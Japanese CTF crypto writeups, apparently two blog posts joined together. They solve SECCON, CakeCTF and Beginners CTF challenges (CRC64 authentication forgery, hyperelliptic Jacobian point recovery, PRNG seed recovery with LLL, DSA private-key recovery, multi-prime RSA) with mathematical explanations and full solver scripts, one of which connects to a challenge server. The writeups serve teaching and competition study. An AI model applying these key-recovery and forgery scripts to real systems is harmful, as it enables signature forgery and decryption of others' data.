次のソースコードが与えられます。

import secrets
import time
import sys
import os

flag = os.environ.get("FLAG", "neko{neko neko kawaii}")
key = secrets.randbits(64)


def crc64(data: bytes, init: int) -> int:
    g = 0xcd8da4ff37e45ec3
    crc = init

    for x in data:
        crc = crc ^ x
        for _ in range(8):
            crc = ((crc >> 1) ^ (g * (crc & 1))) & 0xffffffffffffffff
    return crc


def auth(code: int, t: int) -> bool:
    return crc64((key ^ t).to_bytes(8, "little"), code) == code


while True:
    print("[A]uthenticate yourself")
    print("[H]int for pre-shared key")
    choice = input("> ").strip()
    if choice == "A":
        code = int(input("code: "), 16)
        assert 0 <= code < 2**64

        # key is changed in every 5 seconds
        t = int(time.time()) // 5 * 5
        if auth(code, t):
            print(flag)
            sys.exit(0)
        print("WRONG code")

    elif choice == "H":
        t = int(time.time()) // 5 * 5
        hint = crc64(b"hint", crc64((key ^ t).to_bytes(8, "little"), 0))
        print(f"hint: {hint:x}")

    else:
        sys.exit(0)

CRCというアルゴリズムに関する問題のようです。秘密鍵 key に関する情報 crc64("hint", crc64(key, 0)) が与えられ、crc64(key, code) == code を満たす code を計算できればフラグが得られます。

まず、data がわかっているときに、crc64(data, init) から init を復元することを考えてみます。

crc = ((crc >> 1) ^ (g * (crc & 1))) & 0xffffffffffffffff

において、g の最上位ビットは1であり、crc >> 1 の最上位ビットは0なので、最終結果の最上位ビットが1ならば最後の更新で g がXORされており、0ならばされていないことがわかります。このことより、次のように init を復元することができます。

def rev_crc64(data, crc):
    y = crc
    for i in range(len(data)-1, -1, -1):
        for j in range(8):
            if y>=2**63:
                y^=g
                y<<=1
                y^=1
            else:
                y<<=1
        y^=data[i]
    return y

これで、crc64(key, 0) を復元できました。次に、key を復元したいです。key は64bitなので、上の復元アルゴリズムにおいて、y^=1 の部分や y^=data[i] の部分は if y>=2**63: の判定に干渉することはなく、分離することができます。

def rev_crc64(data, crc):
    y = crc
    z = 0
    for i in range(len(data)-1, -1, -1):
        for j in range(8):
            if y>=2**63:
                y^=g
                y<<=1
                z<<=1
                z^=1
            else:
                y<<=1
                z<<=1
        z^=data[i]
    return y^z

よって、data は最後にXORすると考えてよいので、rev_crc64(key, x) == 0 ならば rev_crc64(0, x) == key です。これで key を復元できました。

最後に、crc64(key, code) == code を満たす code を計算します。ここで、CRCで検索して出てくる記事を色々眺めていると、多項式というキーワードがよく出てきていたことに気づきました。i ビット目の数を t^{i} の係数とする \mathbb{F}_{2} 上の多項式に翻訳すると、x = rev_crc64(0, y) は、

\displaystyle{
y(t)t^{64}+x(t)=tz(t)g(t)+z(t)
}

と表現できます。crc64(key, code) == coderev_crc64(0, code) == code ^ key と同値なので、

\displaystyle{
code(t)t^{64}+code(t)+key(t)=tz(t)g(t)+z(t)
}

を満たす code(t) を求められればよいです。式変形すると、

\displaystyle{
(t^{64}+1)code(t)\equiv key(t) \pmod{(tg(t)+1)}
}

となるので、t^{64}+1\bmod{(tg(t)+1)} における逆元をユークリッドの互除法で計算することで code(t) が求まります。

g = 0xcd8da4ff37e45ec3

def rev_crc64(data, crc):
    y = crc
    z = 0
    for i in range(len(data)-1, -1, -1):
        for j in range(8):
            if y>=2**63:
                y^^=g
                z<<=1
                y<<=1
                z^^=1
            else:
                z<<=1
                y<<=1
        z^^=data[i]
    return y^^z

import socket

def recvuntil(client, delim=b'\n'):
    buf = b''
    while delim not in buf:
        buf += client.recv(1)
    return buf

host = 'authenticator.dom.seccon.games'
port = 8080

client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect((host, port))

recvuntil(client, b'> ')
client.send(b'H\n')
recvuntil(client, b'hint: ')
hint = int(recvuntil(client).strip(), 16)

x = rev_crc64(b'hint', hint)
key = rev_crc64(b'\x00'*8, x)

PR.<t> = PolynomialRing(GF(2))

def inv(a, mod):
    b, x, y=mod, 1, 0
    while b:
        t=a//b
        a-=t*b
        x-=t*y
        a, b=b, a
        x, y=y, x
    return x%mod

def to_poly(v):
    vp=0
    for i in range(64):
        vp+=((v>>i)&1)*t^i
    return vp

def to_int(vp):
    v = 0
    coeffs = vp.list()
    for i in range(len(coeffs)):
        v+=int(coeffs[i])*(2**i)
    return v

gp = to_poly(g)
f = inv((t^64+1)%(t*gp+1), t*gp+1) * to_poly(key) % (t*gp+1)
code = to_int(f)

recvuntil(client, b'> ')
client.send(b'A\n')
recvuntil(client, b'code: ')
client.send(hex(code)[2:].encode()+b'\n')
print(recvuntil(client))

Jeopardyのcrypto 3問の中で一番苦戦しました。CRCの有名度が高いせいか、多項式の計算と解釈できることを数式ではっきり解説している記事が検索でヒットしにくい*1点が難しかったです。

CRC多項式の計算と解釈できることは初めて知りましたが、ビット演算を \mathbb{F}_{2} 上の多項式の計算と解釈して解く問題は競技プログラミングでも出題されていて (これ)、かなり面白かったので、CTFでも出会えて嬉しいです。

hell (crypto)

次のソースコードとその出力結果が与えられます。

import os

flag = os.environ.get("FLAG", "neko{the_neko_must_fit_to_the_hyperelliptic}")
p = random_prime(2 ** 512)

xv = randint(0, p-1)
yv = int(flag.encode().hex(), 16)

assert yv < p

g = 2
PR.<x> = PolynomialRing(GF(p))
f = sum(randint(0, p-1)*x**i for i in range(2*g + 1 + 1))
F = f + (yv**2 - f.subs({x: xv}))

HC = HyperellipticCurve(F, 0)
J = HC.jacobian()(GF(p))

D = J(HC((xv, yv)))
print(f"p = {p}")
for i in range(2, 5):
    k = i*(i+1)
    print(k*D)

\mathbb{F}_{p} 上の種数2の超楕円曲線 HC があります。p は与えられますが、HC の方程式は未知です。HC 上の未知の点  P(x_{v}, y_{v})y 座標 y_{v} がフラグとなっており、この点に「対応する」HC のヤコビ多様体上の点を D として、6D, 12D, 20D が「与えられます」。例えば 6D の出力結果は次のようになっています。

(x^2 + 6106105760613229930922967928674194772311203495584899831908007722665915887604567524130011714211274238017162468796768873960998817929601626003988171559055311*x + 8353639222234371469381448272508733643135697105558047478854585109935480411915187137498318296437613301979306509039890224736362852436910491641294487128458694, y + 11174320243202866558065240046782750133803672540853882720989304292750647059310760847379190517566707897494367918287535024822914183996182344175519925897513754*x + 9117855201058206589443560045632239509110354537234084579277106131911457901329328843577651067905800695533557105057771128471218842605638620032058901751650682)

楕円曲線の知識がなくても調べながら解けるように作られているはずだと信じて解いていきます。*2

自分の超楕円曲線に関する事前知識は次のような感じです。

  • 5次以上の多項式 f(x) を用いて y^{2}=f(x) と表される曲線である
  • 楕円曲線 (というか一般の代数曲線?) に対し、そのヤコビ多様体というアーベル多様体を考えることができる (定義は見たことがあるけど忘れた)

調査が必要なのは次のポイントです。

  • 楕円曲線上の点に対応するヤコビ多様体の点の意味 (D = J(HC((xv, yv))) の部分)
  • ヤコビ多様体上の点のSagemathによる出力 (x の2次式と x, y の1次式の組) の意味
  • ヤコビ多様体上の点の2倍を計算する公式、あるいは 2D から D を復元するのに役立つSagemathの関数*3

Wikipediaを読んでいきます。まずヤコビ多様体の定義を思い出します。曲線のdivisorとは、D=\sum c_{P}\lbrack P\rbrack (c_{P}\in \mathbb{Z}, P は曲線上の点) という形の形式的な有限和のことをいいます。\mathrm{deg}(D)=\sum_{P}c_{P}D のdegreeといい、degreeが0のdivisorのなす群を \mathrm{Div}^{0}(HC) と表します。これを、「principal divisor」のなす \mathrm{Div}^{0}(HC) の部分群 \mathrm{Princ}(HC) で割ったもの J(HC)=\mathrm{Div}^{0}(HC)/\mathrm{Princ}(HC) がヤコビ多様体です。ここまでで、D = J(HC((xv, yv))) は、HC 上の点  P(x_{v}, y_{v}) のみからなるdivisor D=\lbrack P\rbrack (無限遠点で調節してdegree 0とする) のことっぽいことがわかります。

次に、ヤコビ多様体上の点の出力形式について、これはMumford representationというものっぽいです。Mumford representationでは、ヤコビ多様体上の点は (u(x), v(x)) (u(x), v(x)多項式\mathrm{deg}(v)\lt\mathrm{deg}(u)\leq g および u(x)|(v(x)^{2}-f(x)) を満たす) と表せるようです。Sagemathの出力はこれっぽいです ((u(x), v(x)) ではなく (u(x), y-v(x)) になっていますが)。

Mumford representationが満たすべき条件 u(x)|(v(x)^{2}-f(x)) から超楕円曲線の方程式 y^{2}=f(x) を求めることができます。3つの点について f(x)\equiv v_{i}(x)^{2}\pmod{u_{i}(x)} という制約があるので、中国剰余定理により f(x)\equiv v(x)\pmod{\prod u_{i}(x)} という式が得られ、f(x) は5次、\prod u_{i}(x) は6次なので f(x) が特定できます。

楕円曲線の方程式がわかれば、2D=20D-3\times 6D2D がわかるので、2D から D を復元すればよいです。まず、D=\sum \lbrack P_{i}\rbrack (P_{i}=(x_{i},y_{i})) が「reduced」のとき、 u(x)=\prod (x-x_{i}) のようです。よって、今回の場合 D=(x-x_{v}, y-y_{v}) であることがわかります。

次に、D=(x-x_{v}, y-y_{v}) のとき 2D を計算する公式がほしいです。超楕円曲線のヤコビ多様体上の点の和をMumford representationで計算する、Cantor's algorithmというものがあるようなので、これを追っていきます*4D が1点の場合はかなり簡単になり、u=(x-x_{v})^{2}, v=(f(x)+y_{v}^{2})/(2y_{v}) に対し、(u', v')=((f-v^{2})/u, -v), (u'', v'')=((f-v'^{2})/u', -v') で得られる (u'', v'')2D のMumford representationとなります。よって、x_{v}, y_{v} を逆算することができて、解けます。

from Crypto.Util.number import *

p = 12022348156596660999966024805317365692214838036337325208414289984663889921502416753085931743030831771121692950289876216078866039507020072658832499672904927
PR.<x> = PolynomialRing(GF(p))

def inv(a, mod):
    b, x, y=mod, 1, 0
    while b:
        t=a//b
        a-=t*b
        x-=t*y
        a, b=b, a
        x, y=y, x
    return x%mod

def crt(r1, q1, r2, q2):
    g = inv(q2, q1)
    k = g*q2%q1
    g *= GF(p)(k)^(-1)
    return (g*(r1-r2)%q1)*q2+r2

u1,v1 = # 6Dの出力を"y+"を切り取って入れる
u2,v2 = # 12Dの出力を"y+"を切り取って入れる
u3,v3 = # 20Dの出力を"y+"を切り取って入れる
us = [u1,u2,u3]
vs = [v1,v2,v3]

f = (vs[0]^2)%us[0]
q = us[0]
for i in range(1, 3):
    f = crt(f, q, (vs[i]^2)%us[i], us[i])
    q *= us[i]

print(f'HC: y^2 = {f}')

HC = HyperellipticCurve(f, 0, 'x,y')
J = HC.jacobian()(GF(p))

D6 = J([u1,v1])
D12 = J([u2,v2])
D20 = J([u3,v3])
D2 = D20-3*D6
print(D2)

u0,v0 = # 2Dの出力を"y+"を切り取って入れる 

u01 = (f-v0^2)//u0
v01 = -v0
u02 = (f-v01^2)//u01
v02 = -v01

xv = u02.list()[1]*((p-1)//2)%p
yv = f(x=xv)

g = x^2-yv
for r in g.roots():
    print(long_to_bytes(int(r[0])))

Wikipediaにかなり色々書いてあったので楽に解くことができました。

これに限らず、高度な整数論ネタがどんどん出題されてくれると、昔勉強したけれど忘れた数学や昔諦めた数学を勉強し直すモチベーションが上がるので嬉しいです。

not new PRNG (crypto)

次のソースコードとその出力結果が与えられます。

import os
import random
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
from Crypto.Util.Padding import pad
from Crypto.Util.number import getPrime


p = getPrime(128)

xs = [random.randint(1, 2**64) for _ in range(4)]

a = random.randint(1, p)
b = random.randint(1, p)
c = random.randint(1, p)
d = random.randint(1, p)
e = random.randint(1, p)  # unknown

xs.append((a*xs[-4] + b*xs[-3] + c*xs[-2] + d*xs[-1] + e) % p)
xs.append((a*xs[-4] + b*xs[-3] + c*xs[-2] + d*xs[-1] + e) % p)
xs.append((a*xs[-4] + b*xs[-3] + c*xs[-2] + d*xs[-1] + e) % p)

outs = xs[-3:]


# encryption
FLAG = os.getenv("FLAG", "fake{the_flag_is_a_lie}")
key = 0
for x in xs[:4]:
    key <<= 64
    key += x
key = int(key).to_bytes(32, "little")
iv = get_random_bytes(16)  # public
cipher = AES.new(key, AES.MODE_CBC, iv)
ct = cipher.encrypt(pad(FLAG.encode(), 16))  # public

# output
print(f"p = {p}")
print(f"a = {a}")
print(f"b = {b}")
print(f"c = {c}")
print(f"d = {d}")
print(f"outs = {outs}")
print(f"iv = 0x{iv.hex()}")
print(f"ct = 0x{ct.hex()}")

素数 p と整数  a, b, c, d が与えられ (e は未知)、漸化式

\displaystyle{
x_{n+4}\equiv ax_{n}+bx_{n+1}+cx_{n+2}+dx_{n+3}+e\pmod{p}
}

を満たす数列 x について x_{5}, x_{6}, x_{7} が与えられます。目標は x_{1}, x_{2}, x_{3}, x_{4} を復元することです。ここで、p は128bitなのに対し、x_{1}, x_{2}, x_{3}, x_{4} は64bit以下であることが重要です。

i=1, 2, 3 に対し、

\displaystyle{
x_{i+4}\equiv a'_{i}x_{1}+b'_{i}x_{2}+c'_{i}x_{3}+d'_{i}x_{4}+e'_{i}e\pmod{p}
}

を満たす a'_{i}, b'_{i}, c'_{i}, d'_{i}, e'_{i} を計算できます。さらに e を消去すると、

\displaystyle{
y_{i}\equiv a_{i}x_{1}+b_{i}x_{2}+c_{i}x_{3}+d_{i}x_{4}\pmod{p}
}

という関係式が2つ得られます。

この2つの関係式を満たす (x_{1}, x_{2}, x_{3}, x_{4}) の個数を見積もります。 (x_{1}, x_{2})2^{128} 通りあり、(x_{1}, x_{2}) が決まると (x_{3}, x_{4}) が決まり、これらが 2^{64} 未満である確率は 1/2^{128} 程度なので、2つの関係式を満たす (x_{1}, x_{2}, x_{3}, x_{4}) の個数は1個程度になりそうです。

次のような行列について、LLLアルゴリズムを適用します。

\begin{pmatrix}
2^{128}a_{1} && 2^{128}a_{2} && 1 && 0 && 0 && 0 && 0 \\
2^{128}b_{1} && 2^{128}b_{2} && 0 && 1 && 0 && 0 && 0 \\
2^{128}c_{1} && 2^{128}c_{2} && 0 && 0 && 1 && 0 && 0 \\
2^{128}d_{1} && 2^{128}d_{2} && 0 && 0 && 0 && 1 && 0 \\
2^{128}p && 0 && 0 && 0 && 0 && 0 && 0 \\
0 && 2^{128}p && 0 && 0 && 0 && 0 && 0 \\
-2^{128}y_{1} && -2^{128}y_{2} && -2^{63} && -2^{63} && -2^{63} && -2^{63} && 2^{128}
\end{pmatrix}

想定している出力のベクトルは

\displaystyle{
(0, 0, x_{1}-2^{63}, x_{2}-2^{63}, x_{3}-2^{63}, x_{4}-2^{63}, 2^{128})
}

またはこの-1倍です。1, 2列目は0になってほしいので 2^{128} 倍の重みをつけており、7行目は1個だけ使ってほしいので7列目に 2^{128} 倍の重みをつけています。また、x_{i} より x_{i}-2^{63} の方が絶対値が小さくなることが期待できるので、7行目の3〜6列目は0ではなく -2^{63} としています。

このとき、得られる (x_{1}, x_{2}, x_{3}, x_{4})

[7556618114415270298, 8111946174900099316, 17896096178591467897, 9882114333904613878]

です。これは確かに条件に合う 2^{64} 未満の解ですが、残念ながらこの鍵を用いても暗号文の復号に失敗します。つまり、条件に合う 2^{64} 未満の解は他にもあるということです。

今得られた解は、x_{1}, x_{2}2^{63} より小さく、x_{3}, x_{4}2^{63} より大きいです。そこで、この解が出力されるのを避けるため、行列の7行目を次のようにずらしてみます。

\displaystyle{
(-2^{128}y_{1}, -2^{128}y_{2}, -(2^{63}+\epsilon ), -(2^{63}+\epsilon ), -(2^{63}-\epsilon ), -(2^{63}-\epsilon ), 2^{128})
}

試しに \epsilon = 2^{64}/6 としてみると、運良く欲しい解を得ることができました。

from Crypto.Cipher import AES
from Crypto.Util.number import *

p = 234687789984662131107323206406195107369
a = 35686285754866388325178539790367732387
b = 36011211474181220344603698726947017489
c = 84664322357902232989540976252462702046
d = 154807718022294938130158404283942212610
outs = [222378874028969090293268624578715626424, 42182082074667038745014860626841402403, 217744703567906139265663577111207633608]
iv = 0xf2dd287ca870eb9908bf52c44dfd9d2b
ct = 0x236a6aca059ae29056a23f5458c644abb74640d672dba1ee049eb956e629b7afb03ae33b2b2b419c24197d33baf6d88e2f0eedfa90c06e1a2be18b2fae2270f05ce39de5e0d59bb9a442d1b3eb392658e45cf721094543b13d35df8cf9ce420c

mat = [[a, b, c, d, 1], [(a*d)%p, (b*d+a)%p, (c*d+b)%p, (d*d+c)%p, (d+1)%p], [(a*d*d+c*a)%p, (b*d*d+a*d+c*b)%p, (c*d*d+b*d+c*c+a)%p, (d*d*d+c*d+c*d+b)%p, (d*d+d+c+1)%p]]
v1 = [0,0,0,0]
v2 = [0,0,0,0]
y1 = (mat[0][4]*outs[1]-mat[1][4]*outs[0])%p
y2 = (mat[0][4]*outs[2]-mat[2][4]*outs[0])%p
for i in range(4):
    v1[i]=(mat[0][4]*mat[1][i]-mat[1][4]*mat[0][i])%p
    v2[i]=(mat[0][4]*mat[2][i]-mat[2][4]*mat[0][i])%p

c1 = 2**128
c2 = 2**128
mat1 = [[0]*7 for _ in range(7)]
for i in range(4):
    mat1[i][0]=v1[i]*c1
    mat1[i][1]=v2[i]*c1
    mat1[i][i+2]=1
mat1[4][0]=p*c1
mat1[5][1]=p*c1
mat1[6][0]=(p-y1)*c1
mat1[6][1]=(p-y2)*c1
mat1[6][6]=c2

mids = [2**64//3*2, 2**64//3*2, 2**64//3, 2**64//3]
# mids = [2**63, 2**63, 2**63, 2**63]
for i in range(2,6):
    mat1[6][i]=-mids[i-2]

res = Matrix(mat1).LLL()
if res[-1][6]<0:
    xs = list([mids[i]-res[-1][i+2] for i in range(4)])
else:
    xs = list([mids[i]+res[-1][i+2] for i in range(4)])
print(xs)

e = (outs[0]-a*xs[0]-b*xs[1]-c*xs[2]-d*xs[3])%p
xs.append((a*xs[-4] + b*xs[-3] + c*xs[-2] + d*xs[-1] + e) % p)
xs.append((a*xs[-4] + b*xs[-3] + c*xs[-2] + d*xs[-1] + e) % p)
xs.append((a*xs[-4] + b*xs[-3] + c*xs[-2] + d*xs[-1] + e) % p)
assert xs[-3:] == outs

key = 0
for x in xs[:4]:
    assert x<2**64
    key <<= 64
    key += x
key = int(key).to_bytes(32, "little")
iv = long_to_bytes(iv)
ct = long_to_bytes(ct)
cipher = AES.new(key, AES.MODE_CBC, iv)
flag = cipher.decrypt(ct)
print(flag)

この問題のパラメータ調整で徹夜するのは嫌だなと思いながら家に持って帰りましたが、無事22時ごろに解けてよかったです。

運良くと書きましたが、後ほど試してみたところ、ずらし方を 3^{4} 通り試す方法で高確率で解けそうでした。

想定解では全列挙が可能らしいので、履修したいと思います。

*1:今冷静になってWikipediaを読んでみると「筆算による多項式の除算に似ており」と書かれていることに気づきましたが・・・

*2:楕円曲線を真面目に勉強したい方は、この記事をあてにしないようお願いします。

*3:例えば、ヤコビ多様体の位数が計算できて、それが奇数なら嬉しいです。

*4:reducedの条件を見返した感じだと 2D もreducedっぽいので、Cantor's algorithmを追わなくても 2D について u(x)=(x-x_{v})^{2} がいえて終わりでした・・・

元競プロerによる初めてのCTF writeup

この記事はCTF Advent Calendar 2022の23日目の記事です。昨日はXornetさんのペアリングでCTFの問題を解くでした。昔、暗号の文脈以外でWeil pairingを勉強した記憶はあります*1が忘れました。後ほどゆっくり読みたいと思います。

初めまして、チョコラスクです。今年からCTFを始めました。初めて真面目に参加したCTFはzer0pts CTF 2022です。

以前は競技プログラミングをやっていました*2。また、大学で少し数学を勉強していました。

ちゃんとしたwriteupを公開するのは初めて*3で怖いですが、これまでに解いた問題のうち、競プロ知識や数学知識を使っていい感じに解けた問題のwriteupを書いてみます。

CakeCTF 2022 Rock Door

問題のソースコードこちらです。

DSAが実装されており、一度だけ (gomaを含まない) 好きな文字列の署名  (r, s) を計算させることができます。ただし、計算結果は  s の方しか得られません。その後、hirake goma の正当な署名を入力できればフラグが得られます。

ソースコード内の各変数がどれぐらいの大きさかを確認してみます。q, s は 1024 bit程度であるのに対し、 x, z, k, r はSHA256ハッシュを取った結果なので 256 bit程度です。好きな文字列について s を取得すると、 ks\equiv z+xr\pmod q という関係式が成り立ちます。 z+xr は 512 bit程度で、これは q に比べて小さく、 k を適当に選んだとき  ks\bmod q が 512 bit程度になる確率は 1/2^{512} 程度です。よって、 k が 256 bit程度で  ks\bmod q が 512 bit程度という条件だけで k が一意に定まりそうです。

z は入力する文字列から計算できるので、k がわかれば xr がわかり、さらに rk から求まるので、x もわかります。秘密鍵 x がわかれば署名の計算ができるので、解けます。

想定解ではLLLを用いて k を計算していますが、floor sum という (競プロ界では有名な) アルゴリズムを用いることもできるので、それを解説します。

floor sum は、正整数 n, m と整数 a, b に対し、

\displaystyle{
f(n, m, a, b)=\sum_{i=0}^{n-1} \left\lfloor\frac{ai+b}{m}\right\rfloor
}

を高速に*4計算するアルゴリズムです。

まず、0\leq a, b\lt m と仮定してよいです。実際、a=q_am+r_a (0\leq r_a\lt m) とおくと、

\displaystyle{
f(n, m, a, b)=f(n, m, r_a, b)+q_a\sum_{i=0}^{n-1}i
}

なので、0\leq a\lt m の場合に帰着できます。b についても同様です。

an+b=qm+r (0\leq r\lt m) とおきます。q\lt y\lt \frac{an+b}{m} の範囲に格子点はないことに注意すると、f(n,m,a,b) は図の青い領域内に含まれる格子点の個数に等しいです。直線 x=nx 軸、y=qy 軸と視点を変えてみることで、

\displaystyle{
f(n,m,a,b)=\sum_{i=0}^{q-1} \left\lfloor\frac{mi+r}{a}\right\rfloor=f(q,a,m,r)
}

がわかります。

よって、(n,m,a,b) から (q,a,m,r) の場合に帰着でき、さらに (q,a,m\bmod a,r\bmod a) の場合に帰着できるので、(m,a)ユークリッドの互除法を適用するのと同じ要領で a=0 の場合に帰着でき、f(n, m, a, b) が求まります。

さて、これを今回の問題にどう適用するかですが、

\displaystyle{
\left\lfloor\frac{sk}{q}\right\rfloor - \left\lfloor\frac{sk-2^{512}}{q}\right\rfloor=
\begin{cases}
1 & ((sk\bmod q) \lt 2^{512}) \\
0 & ((sk\bmod q) \geq 2^{512})
\end{cases}
}

であることに着目します。すると、0\leq k\lt n の範囲で (sk\bmod q) \lt 2^{512} を満たす k の個数は

\displaystyle{
f(n,q,s,0)-f(n,q,s,-2^{512})
}

と表せます。0\leq k\lt 2^{256} の範囲で初めて f(k,q,s,0)-f(k,q,s,-2^{512})>0 となる k を二分探索することで、(sk\bmod q) \lt 2^{512} を満たす k を見つけることができます。

# sum[i=0 to n-1] floor((a*i+b)/m)
def floor_sum(n, m, a, b):
    if n == 0:
        return 0
    ret = 0
    if a >= m:
        ret += n*(n-1)//2*(a//m)
        a %= m
    if b >= m:
        ret += n*(b//m)
        b %= m
    if a == 0:
        return ret
    q, r = (a*n+b)//m, (a*n+b)%m
    ret += floor_sum(q, a, m, r)
    return ret

from hashlib import sha256
from Crypto.Util.number import getRandomRange, inverse, long_to_bytes

def h(s: bytes) -> int:
    return int(sha256(s).hexdigest(), 16)

q = 139595134938137125662213161156181357366667733392586047467709957620975239424132898952897224429799258317678109670496340581564934129688935033567814222358970953132902736791312678038626149091324686081666262178316573026988062772862825383991902447196467669508878604109723523126621328465807542441829202048500549865003
p = 2*q + 1
g = 2
y = 37925794679172810656660325405743980058149298941234310232364510309420515092602600523697777529812917758313422672128981188920487521638575170382644658820074833119309713550634143577305912149763628209572141367725296502112007404954248895722761291522996966773323841581645549327400582154539861787835821155142888287483

m1 = b"myon"
z1 = h(m1)
# "myon" に対する s の値
s1 = 34112470810592176118801977602000637660265529835590820260074241304093463468236031746057456541876447210174543389860988306468965410818788719940381401389545593766521657980898975708370037147335849545814914529044948910315266154298872698766582160589313927112886437376450668673875319127868804480390170246274373661339

assert floor_sum(2**256, q, s1, 0)-floor_sum(2**256, q, s1, -2**512) == 1

left = 0
right = 2**256
while right-left > 1:
    mid = (left+right)//2
    if floor_sum(mid, q, s1, 0)-floor_sum(mid, q, s1, -2**512) > 0:
        right = mid
    else:
        left = mid

k1 = left
r1 = h(long_to_bytes(pow(g, k1, p)))
xr1 = (k1*s1-z1)%q
assert xr1%r1 == 0
x = xr1//r1
assert pow(g, x, p) == y

m = b"hirake goma"
z = h(m)

k = getRandomRange(0, q)
r = h(long_to_bytes(pow(g, k, p)))
assert r < q
s = (z + x*r) * inverse(k, q) % q
sinv = inverse(s, q)
gk = pow(g, sinv*z, p) * pow(y, sinv*r, p) % p
r2 = h(long_to_bytes(gk))
assert r == r2
print(f'r = {r}')
print(f's = {s}')

SECCON Beginners CTF 2022 omni-RSA

問題のソースコードこちらです。

RSA暗号っぽいものが実装されています。3 つの素数 p, q, r を用いており、t=(r\bmod q) および、秘密鍵 d について d'=(d\bmod (q-1)(r-1)) の下 470 bit (s とする) が与えられます。簡単にわかることとして、q, r はともに 256 bitで q\lt r なので、t=r-q です。

42 bit程度の整数 x を用いて d'=2^{470}x+s と書けます。ed'\equiv 1\pmod{(q-1)(r-1)} なので、正整数 k を用いて

\displaystyle{
e(2^{470}x+s)=k(q-1)(q-1+t)+1
}

と書けます。ここで d'\lt (q-1)(r-1) なので k\lt e です。k は全探索ができそうです。

想定解では \bmod{q} を取ってCoppersmith法で x を求めています*5が、ここでは\bmod 2^{470} を取ってみます。すると es\equiv k(q-1)(q-1+t)+1 \pmod{2^{470}} です。k を全探索することにすると、未知数は q のみです。4k 倍して平方完成すると

\displaystyle{
(k(2q+t-2))^2\equiv k^{2}t^{2}+4kes-4k\pmod{2^{470}}
}

となります。k(2q+t-2) は 270 bit未満で小さいです。

あとは x^{2}\equiv a\pmod{2^{470}} という方程式が解ければ q がわかり、q がわかれば r=q+t より r がわかり、n=pqr より p もわかるので、復号できます。

Henselの補題を思い出すと、これは解けそうです:

p素数f(x) を整数係数多項式k を正整数とし、f(r)\equiv 0\pmod{p^{k}} および f'(r)\not\equiv 0\pmod{p} が成り立っているとする。このとき、f(r')\equiv 0\pmod{p^{k+1}}, r'\equiv r\pmod{p^{k}} を満たす r'\bmod{p^{k+1}} で唯一つ存在する。

今回はHenselの補題における微分が0でないという条件が満たされないので、そのままは成り立ちませんが、似たようなことは成り立ちます:

a を奇数、k\geq 3 とし、x^{2}\equiv a \pmod{2^{k}} が成り立っているとする。このとき、x'^{2}\equiv a \pmod{2^{k+1}}, x'\equiv x \pmod{2^{k-1}} を満たす x'\bmod{2^{k}} で唯一つ存在する。

これは、x'=xx'=x+2^{k-1} のうちちょうど一方が次の解になることが簡単にわかるので示せます。よって、\bmod{2^{3}} での解、\bmod{2^{4}} での解、\bmod{2^{5}} での解・・・を順番に計算していけば解けます。

これをそのまま実装してもよいですが、SageMathには p 進数を扱う関数が色々用意されているので、それを使うとシンプルに実装できます*6。問題は、a\in\mathbb{Q} _ {2} が適当な精度で与えられているときに、2 進数体 \mathbb{Q} _ {2} 上で x^{2}=a を解く問題と考えられ、これはSageMathのsquare_root関数で実現できます。

公式ドキュメントに記載されているように、p=2 の場合精度が1だけ落ちますが、これは、a が奇数のとき x^{2}\equiv a \pmod{2^{k}} の解は\bmod{2^{k-1}} で (存在すれば) 2個であることから理解できます。

細かい注意として、SageMathの p 進整数環のクラスには絶対精度と相対精度の2種類があります*7

sage: a = Zp(2, prec = 10)(272)                                                                                                                                  
sage: a                                                                                                                                                          
2^4 + 2^8 + O(2^14)
sage: a.square_root(all=True)                                                                                                                                    
[2^2 + 2^5 + 2^7 + 2^8 + 2^9 + O(2^11), 2^2 + 2^3 + 2^4 + 2^6 + 2^10 + O(2^11)]
sage: a = Zp(2, prec = 10, type = 'capped-abs')(272)                                                                                                             
sage: a                                                                                                                                                          
2^4 + 2^8 + O(2^10)
sage: a.square_root(all=True)                                                                                                                                    
[2^2 + 2^5 + O(2^7), 2^2 + 2^3 + 2^4 + 2^6 + O(2^7)]

今回は常に\bmod{2^{470}} で解きたいので、絶対精度の方を指定するとよいです。

from Crypto.Util.number import *
from output import *

R = Zp(2, prec = 470, type = 'capped-abs')

for k in range(1, e):
    a = k*k*rq*rq + 4*k*e*s - 4*k
    try:
        xs = R(a).square_root(all=True)
    except Exception:
        continue
    x = min([v.lift() for v in xs])
    if int(x).bit_length() > 270:
        continue
    q = (x//k-rq)//2+1
    r = q+rq
    p = n//(q*r)
    d = inverse(e, (p-1)*(q-1)*(r-1))
    print(long_to_bytes(int(pow(cipher, d, n))))

明日はGodAimPikaさんの「CTF初心者がNSA Codebreakerに参加した感想」です。

*1:Silvermanの本を読んだりした気がします。

*2:人生が忙しいわけではないのですが、赤になってモチベが下がってしまいました。

*3:CTF界のwriteup文化すごい。

*4:競プロ文脈のように四則演算の計算量を O(1) とみなせる場合、計算量は O(\log(\min(|m|, |a|))) ですが、そうでない場合何と書けばいいかパッとはわからなかったのでごまかしました。

*5:そもそも\bmod{n} の方程式だけでなく\bmod{n} の約数 の方程式も解けるというのを知らず、勉強になりました。

*6:CTFのCrypto問で p 進数が使えることがあるというのは、zer0pts CTF 2021 pure divisionのwriteupで見ました。

*7:コンテスト中は、何も指定しないと相対精度になることに気づいておらず、なぜか\bmod{2^{470}} を取らないとうまく求まらないなあと思っていました。